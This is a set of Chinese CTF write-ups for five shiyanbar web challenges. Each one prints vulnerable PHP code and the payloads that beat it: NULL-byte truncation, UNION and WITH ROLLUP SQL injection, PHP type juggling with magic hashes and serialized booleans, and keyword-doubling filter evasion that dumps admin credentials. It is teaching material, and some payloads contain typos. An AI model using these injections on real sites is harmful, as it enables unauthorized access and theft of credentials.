实验吧经典writeup

1、Once More

http://ctf4.shiyanbar.com/web/more.php

提示是ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)    
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>

继而进行代码审计

GET方式提交password,然后用ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有-,最终才输出flag

因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是用E或e,也就是1.99714E13=19971400000000,所以构造1E8即100000000 > 9999999,在加上-。于是乎构造password=1E8%00-,成功得到答案

2、程序逻辑问题

http://ctf1.shiyanbar.com/web/5/index.php

题目提示是绕过

不管提交什么都是失败,于是老办法看源码,有提示可以看到源码,又是一道代码审计啊
值摘录了重要的部分

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);  ##此处数据库查询的pass是输入经过MD5加密的

$sql = "select pw from php where user='$user'";
#sql查询语句存在单引号的sql注入
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); #将查询结果 result 拆到数组变量中
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
     }
  }
?>

我们先用单引号测试一下,提示有错误

welcome to simplexue Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1

那么我们就可以构造注入语句了

首先闭合前面的单引号,再加上and 0=1使前面的查询为假,再用union select直接赋值,注意是md5值,然后完整的语句是这个

' AND 0=1 UNION SELECT ('bcbe3365e6ac95ea2c0343a2395834dd') #
#是注释掉后面的语句

询语句就会成为:

select pw from php where user='' AND 0=1 UNION  SELECT "aea467f58fc747cfef9e8c741f467102" #'

那个md5随意,由于我们用的”222“的md5,所以pass就填”222“
这样就可以绕过

3、因缺思汀的绕过

http://ctf5.shiyanbar.com/web/pcat/index.php

老套路查看源代码,发现source.txt,继续进行访问,又是代码审计

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd']))         {      #判断是否输入
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

要想得到flag必须绕过mysql_num_rows($query) == 1$key[‘pwd’] == $_POST[‘pwd’]这两个判断
而且sql语句只对uname进行查询,所以我们在uname处进行构造
过滤了很多关键字,数组也给字符串化;

mysql_num_rows() 返回结果集中行的数目,此命令只对select语句有效。那么我们构造

Uname = 'or 1 limit 1#

在sql语句中表示:

SELECT * FROM interest WHERE uname = ''or 1 limit 1# 

结果集中行的数目为1 ,即可绕过第一个判断

对于第二个判断$key[‘pwd’] == $_POST[‘pwd’],此处用的是 ==,根据弱类型,NULL和空字符串是相等的

接下来就是如何绕过pwd了,其实就是一个关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。

with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg…),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:

uname pwd
usr1 *
usr2 *
usr2 NULL

然后是limit 1 offset 2 就是跳过前两个,只用第三个数据。
那么最终取出的数据就是这样了

uname pwd
usr2 NULL

最后看这里$key[‘pwd’] == $_POST[‘pwd’]用的是 ==,根据弱类型,NULL和空字符串是相等的,所以我们不给pwd传参数。

于是构造 Uname = ‘or 1 group by pwd with rollup limit 1 offset 2#

查询语句:
SELECT * FROM interest WHERE uname = ‘’or 1 group by pwd with rollup limit 1 offset 2#

得出flag

知识点:

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

对于group by的列,with rollup将不会做任何的操作,而是返回一个NULL,而没有group by的列,则根据前面的avg函数和sum函数做了处理。

使用 GROUP BY 的 WITH ROLLUP 字句可以检索出更多的分组聚合信息,它不仅仅能像一般的 GROUP BY 语句那样检索出各组的聚合信息,还能检索出本组类的整体聚合信息。

limit :在数据库中查询中间几条数据
offset:开始的意思,表示从第X行记录开始查询

是从数据库中t表中的第二条数据开始查询两条数据,即第二条和第三条。

selete * from t limit 2 offset 1;

– 是从数据库中第三条开始查询,取一条数据,即第三条数据

selete * from testtable limit 2,1;

参考链接:https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

4、天网管理系统

http://ctf5.shiyanbar.com/10/web1/

老套路,打开没什么提示,查看源码

发现是php弱类型,看到了一个md5和0的比较,这是个经典的漏洞,只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS

登录后出现了新内容

继续跟进提供的URL看看

$unserialize_str = $_POST[‘password’]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[‘user’] == ‘???’ && $data_unserialize[‘pass’]==’???’) { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

发现提示的这个有点意思,就是把post提交的password值经过”反序列化”(不懂的尽管百度)得到一个数组,要求数组里的user和pass都满足就打印flag,这里由于我们不知道两处???到底是什么,我们只得另辟途径,从php弱类型入手

<?php
if(true=="pcat"){
    echo "ok";
}
?>

bool类型的true跟任意字符串可以弱类型相等,而当代码中存在unserialize或者json_decode的时候,我们可以构造bool类型,来达到欺骗。现在我们要的是一个数组,2个元素,分别是user和pass,而且值都是bool类型的true,于是我们得到a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}(a代表array,s代表string,b代表bool,而数字代表个数/长度)

返回原登录页面后密码输入,即可得到答案

5、菊花

http://ctf1.shiyanbar.com/web/6/

点击进去发现一句话 嘿嘿! 吊死您好! Please make sure you have installed .net framework 9.9!,查看源码也没有啥内容,

用burp进行拦截。前面提示的是.net framework 9.9,于是要修改User-Agent,修改user-agent为Mozilla/5.0 (MSIE 9.0;.NET CLR 9.9)

发现有ID尝试post注入

id=1 提示hacker:welcome to simplexue CTF 
id=4提示hacker: don’t try again 
使用id=[keyword]1来测试发现多个关键词被过滤 
包括union,and,or,select,update,insert,from,引号,空格;另外admin、pass等名称也被过滤。测试发现双重可绕过过滤,如ununionion,seselectlect, 用/**/或%09代替空格。

注入

id=0/  ** /ununionion/ ** /seselectlect/ ** /1,user(),database()可同时得到用户名和数据库名称分别为root@cuit-092a2b258a和inject

继续构造ID进行注入

id=0/ ** /ununionion/ * */seselectlect/ ** /1,username,userpapassss/ ** /ffromrom/ ** /aadmindmin/ ** /limit/ ** /0,1%23